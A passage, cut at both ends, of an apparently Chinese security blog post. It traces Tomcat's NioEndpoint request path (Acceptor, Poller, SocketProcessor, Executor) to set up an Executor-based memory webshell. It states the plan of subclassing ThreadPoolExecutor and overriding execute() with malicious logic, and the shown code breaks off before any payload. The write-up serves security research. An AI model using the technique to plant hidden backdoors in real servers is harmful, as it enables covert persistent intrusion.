class="code-snippet__keyword">int</span> <span class="code-snippet__title">handleExceptionWithDelay</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> currentErrorDelay)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (currentErrorDelay &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                Thread.sleep(currentErrorDelay);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (InterruptedException e) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// Ignore</span></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 异常处理</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (currentErrorDelay == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> INITIAL_ERROR_DELAY; <span class="code-snippet__comment">// c2</span></span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (currentErrorDelay &lt; MAX_ERROR_DELAY) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> currentErrorDelay * <span class="code-snippet__number">2</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> MAX_ERROR_DELAY;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//在AbstractEndpoint类中开启Acceptor线程</span></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">startAcceptorThreads</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> count = getAcceptorThreadCount();</span></code><code><span class="code-snippet_outer">    acceptors = <span class="code-snippet__keyword">new</span> ArrayList&lt;&gt;(count);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; count; i++) {</span></code><code><span class="code-snippet_outer">        Acceptor&lt;U&gt; acceptor = <span class="code-snippet__keyword">new</span> Acceptor&lt;&gt;(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">        String threadName = getName() + <span class="code-snippet__string">&#34;-Acceptor-&#34;</span> + i;</span></code><code><span class="code-snippet_outer">        acceptor.setThreadName(threadName);</span></code><code><span class="code-snippet_outer">        acceptors.add(acceptor);</span></code><code><span class="code-snippet_outer">        Thread t = <span class="code-snippet__keyword">new</span> Thread(acceptor, threadName);</span></code><code><span class="code-snippet_outer">        t.setPriority(getAcceptorThreadPriority());</span></code><code><span class="code-snippet_outer">        t.setDaemon(getDaemon());</span></code><code><span class="code-snippet_outer">        t.start();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//NioEndpoint中具体实现的对SocketChannel的处理</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Acceptor</span> <span class="code-snippet__title">extends</span> <span class="code-snippet__title">org</span>.<span class="code-snippet__title">apache</span>.<span class="code-snippet__title">tomcat</span>.<span class="code-snippet__title">util</span>.<span class="code-snippet__title">net</span>.<span class="code-snippet__title">AbstractEndpoint</span>.<span class="code-snippet__title">Acceptor</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">protected</span> Acceptor() {</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> void run() {</span></code><code><span class="code-snippet_outer">        byte errorDelay = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span>(NioEndpoint.<span class="code-snippet__keyword">this</span>.running) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span>(NioEndpoint.<span class="code-snippet__keyword">this</span>.paused &amp;&amp; NioEndpoint.<span class="code-snippet__keyword">this</span>.running) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.state = AcceptorState.PAUSED;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    Thread.sleep(<span class="code-snippet__number">50L</span>);</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (InterruptedException var4) {</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!NioEndpoint.<span class="code-snippet__keyword">this</span>.running) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.state = AcceptorState.RUNNING;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                NioEndpoint.<span class="code-snippet__keyword">this</span>.countUpOrAwaitConnection();</span></code><code><span class="code-snippet_outer">                SocketChannel socket = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    socket = NioEndpoint.<span class="code-snippet__keyword">this</span>.serverSock.accept();</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (IOException var5) {</span></code><code><span class="code-snippet_outer">                    NioEndpoint.<span class="code-snippet__keyword">this</span>.countDownConnection();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (!NioEndpoint.<span class="code-snippet__keyword">this</span>.running) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    NioEndpoint.<span class="code-snippet__keyword">this</span>.handleExceptionWithDelay(errorDelay);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> var5;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                errorDelay = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (NioEndpoint.<span class="code-snippet__keyword">this</span>.running &amp;&amp; !NioEndpoint.<span class="code-snippet__keyword">this</span>.paused) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (!NioEndpoint.<span class="code-snippet__keyword">this</span>.setSocketOptions(socket)) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.closeSocket(socket);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.closeSocket(socket);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Throwable var6) {</span></code><code><span class="code-snippet_outer">                ExceptionUtils.handleThrowable(var6);</span></code><code><span class="code-snippet_outer">                NioEndpoint.log.error(AbstractEndpoint.sm.getString(<span class="code-snippet__string">&#34;endpoint.accept.fail&#34;</span>), var6);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.state = AcceptorState.ENDED;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> void closeSocket(SocketChannel socket) {</span></code><code><span class="code-snippet_outer">        NioEndpoint.<span class="code-snippet__keyword">this</span>.countDownConnection();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            socket.socket().close();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var4) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (NioEndpoint.log.isDebugEnabled()) {</span></code><code><span class="code-snippet_outer">                NioEndpoint.log.debug(AbstractEndpoint.sm.getString(<span class="code-snippet__string">&#34;endpoint.err.close&#34;</span>), var4);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            socket.close();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (NioEndpoint.log.isDebugEnabled()) {</span></code><code><span class="code-snippet_outer">                NioEndpoint.log.debug(AbstractEndpoint.sm.getString(<span class="code-snippet__string">&#34;endpoint.err.close&#34;</span>), var3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-weight: bold;font-size: 18px;"><br/></span></p><p><span style="font-weight: bold;font-size: 18px;">Poller</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Poller</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Runnable</span> </span>{</span></code><code><span class="code-snippet_outer">     </span></code><code><span class="code-snippet_outer">     ......</span></code><code><span class="code-snippet_outer">     </span></code><code><span class="code-snippet_outer">       <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">run</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Loop until destroy() is called</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> (<span class="code-snippet__keyword">true</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">boolean</span> hasEvents = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (!close) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__comment">//查看是否有连接进来,如果有就将Channel注册进Selector中</span></span></code><code><span class="code-snippet_outer">                        hasEvents = events();</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (close) {</span></code><code><span class="code-snippet_outer">                        events();</span></code><code><span class="code-snippet_outer">                        timeout(<span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                            selector.close();</span></code><code><span class="code-snippet_outer">                        } <span class="code-snippet__keyword">catch</span> (IOException ioe) {</span></code><code><span class="code-snippet_outer">                            log.error(sm.getString(<span class="code-snippet__string">&#34;endpoint.nio.selectorCloseFail&#34;</span>), ioe);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (Throwable x) {</span></code><code><span class="code-snippet_outer">                    ExceptionUtils.handleThrowable(x);</span></code><code><span class="code-snippet_outer">                    log.error(sm.getString(<span class="code-snippet__string">&#34;endpoint.nio.selectorLoopError&#34;</span>), x);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (keyCount == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                    hasEvents = (hasEvents | events());</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                Iterator&lt;SelectionKey&gt; iterator =</span></code><code><span class="code-snippet_outer">                    keyCount &gt; <span class="code-snippet__number">0</span> ? selector.selectedKeys().iterator() : <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// Walk through the collection of ready keys and dispatch</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// any active event.</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">while</span> (iterator != <span class="code-snippet__keyword">null</span> &amp;&amp; iterator.hasNext()) {</span></code><code><span class="code-snippet_outer">                    SelectionKey sk = iterator.next();</span></code><code><span class="code-snippet_outer">                    NioSocketWrapper socketWrapper = (NioSocketWrapper) sk.attachment();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">// Attachment may be null if another thread has called</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">// cancelledKey()</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (socketWrapper == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                        iterator.remove();</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        iterator.remove();</span></code><code><span class="code-snippet_outer">                        processKey(sk, socketWrapper);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// Process timeouts</span></span></code><code><span class="code-snippet_outer">                timeout(keyCount,hasEvents);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            getStopLatch().countDown();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>调用events()方法，查看队列中是否有Pollerevent事件，如果有就将其取出，然后把里面的Channel取出来注册到该Selector中，然后不断轮询所有注册过的Channel查看是否有事件发生。</p><p>当有事件发生时，则调用SocketProcessor交给Executor执行。</p><p><span style="font-weight: bold;font-size: 18px;"><br/></span></p><p><span style="font-weight: bold;font-size: 18px;">SocketProcessor</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">SocketProcessor</span> <span class="code-snippet__title">extends</span> <span class="code-snippet__title">SocketProcessorBase</span>&lt;<span class="code-snippet__type">NioChannel</span>&gt; </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> SocketProcessor(SocketWrapperBase&lt;NioChannel&gt; socketWrapper, SocketEvent event) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>(socketWrapper, event);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">protected</span> void doRun() {</span></code><code><span class="code-snippet_outer">        NioChannel socket = (NioChannel)<span class="code-snippet__keyword">this</span>.socketWrapper.getSocket();</span></code><code><span class="code-snippet_outer">        SelectionKey key = socket.getIOChannel().keyFor(socket.getPoller().getSelector());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            int handshake = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (key != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (socket.isHandshakeComplete()) {</span></code><code><span class="code-snippet_outer">                        handshake = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.event != SocketEvent.STOP &amp;&amp; <span class="code-snippet__keyword">this</span>.event != SocketEvent.DISCONNECT &amp;&amp; <span class="code-snippet__keyword">this</span>.event != SocketEvent.ERROR) {</span></code><code><span class="code-snippet_outer">                        handshake = socket.handshake(key.isReadable(), key.isWritable());</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.event = SocketEvent.OPEN_READ;</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        handshake = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var12) {</span></code><code><span class="code-snippet_outer">                handshake = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (NioEndpoint.log.isDebugEnabled()) {</span></code><code><span class="code-snippet_outer">                    NioEndpoint.log.debug(<span class="code-snippet__string">&#34;Error during SSL handshake&#34;</span>, var12);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (CancelledKeyException var13) {</span></code><code><span class="code-snippet_outer">                handshake = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (handshake == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                SocketState state = SocketState.OPEN;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.event == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    state = NioEndpoint.<span class="code-snippet__keyword">this</span>.getHandler().process(<span class="code-snippet__keyword">this</span>.socketWrapper, SocketEvent.OPEN_READ);</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    state = NioEndpoint.<span class="code-snippet__keyword">this</span>.getHandler().process(<span class="code-snippet__keyword">this</span>.socketWrapper, <span class="code-snippet__keyword">this</span>.event);<span class="code-snippet__comment">//关键在于调用对应的handler来执行这两个process方法。</span></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (state == SocketState.CLOSED) {</span></code><code><span class="code-snippet_outer">                    NioEndpoint.<span class="code-snippet__keyword">this</span>.close(socket, key);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (handshake == -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                NioEndpoint.<span class="code-snippet__keyword">this</span>.getHandler().process(<span class="code-snippet__keyword">this</span>.socketWrapper, SocketEvent.CONNECT_FAIL);</span></code><code><span class="code-snippet_outer">                NioEndpoint.<span class="code-snippet__keyword">this</span>.close(socket, key);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (handshake == <span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.socketWrapper.registerReadInterest();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (handshake == <span class="code-snippet__number">4</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.socketWrapper.registerWriteInterest();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (CancelledKeyException var14) {</span></code><code><span class="code-snippet_outer">            socket.getPoller().cancelledKey(key);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (VirtualMachineError var15) {</span></code><code><span class="code-snippet_outer">            ExceptionUtils.handleThrowable(var15);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Throwable var16) {</span></code><code><span class="code-snippet_outer">            NioEndpoint.log.error(<span class="code-snippet__string">&#34;&#34;</span>, var16);</span></code><code><span class="code-snippet_outer">            socket.getPoller().cancelledKey(key);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.socketWrapper = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.event = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (NioEndpoint.<span class="code-snippet__keyword">this</span>.running &amp;&amp; !NioEndpoint.<span class="code-snippet__keyword">this</span>.paused) {</span></code><code><span class="code-snippet_outer">                NioEndpoint.<span class="code-snippet__keyword">this</span>.processorCache.push(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><br/></p><p><span style="font-weight: bold;font-size: 18px;">Executor</span></p><p>见下文。</p><p><br/></p><p><span style="font-weight: bold;font-size: 22px;">Executor以及恶意Executor的实现：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//删掉了很多注解，有兴趣可以自行查阅。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">interface</span> <span class="code-snippet__title">Executor</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * Executes the given command at some time in the future.  The command</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * may execute in a new thread, in a pooled thread, or in the calling</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * thread, at the discretion of the {<span class="code-snippet__doctag">@code</span> Executor} implementation.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     *</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * <span class="code-snippet__doctag">@param</span> command the runnable task</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * <span class="code-snippet__doctag">@throws</span> RejectedExecutionException if this task cannot be</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * accepted for execution</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * <span class="code-snippet__doctag">@throws</span> NullPointerException if command is null</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">execute</span><span class="code-snippet__params">(Runnable command)</span></span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><br/></p><p>Executor其实是Tomcat定制版的线程池，具体设计理论我们无需细究，但有一点我们值得关注：</p><p><span style="font-weight: bold;">在Tomcat中Executor由Service维护，因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池，相关组件( 如Endpoint)会自动创建线程池，此时，线程池不再共享。</span></p><p>（这也是为什么之前我获取Service直接往executors组里添加executor但却并不生效的原因。）</p><p>可以看到这里是直接获取的EndPoint自己启动的TreadPoolExecutor类：</p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 662px;height: 420px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=9398b003&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETdxP0ABic9sXEj9ubcQVicdbDIRLVWYv8qiaUGnAQL2lqu0CibH4gM3YeBw%2F640%3Fwx_fmt%3Dpng"/></p><p>并且他的关键调用方法就在下一行 : executor.execute()</p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 662px;height: 420px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=a202625e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETSC3osMp2gK7u7Xlp10DWLW6sRjyicxbyiaVtWt43YUc81TKQUsibYPHOg%2F640%3Fwx_fmt%3Dpng"/></p><p>找到其核心处理逻辑后，我们只需继承它，并重写该方法将恶意逻辑写入其中。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">threadexcutor</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">ThreadPoolExecutor</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">threadexcutor</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> corePoolSize, <span class="code-snippet__keyword">int</span> maximumPoolSize, <span class="code-snippet__keyword">long</span> keepAliveTime, TimeUnit unit, BlockingQueue&lt;Runnable&gt; workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>(corePoolSize, maximumPoolSize, 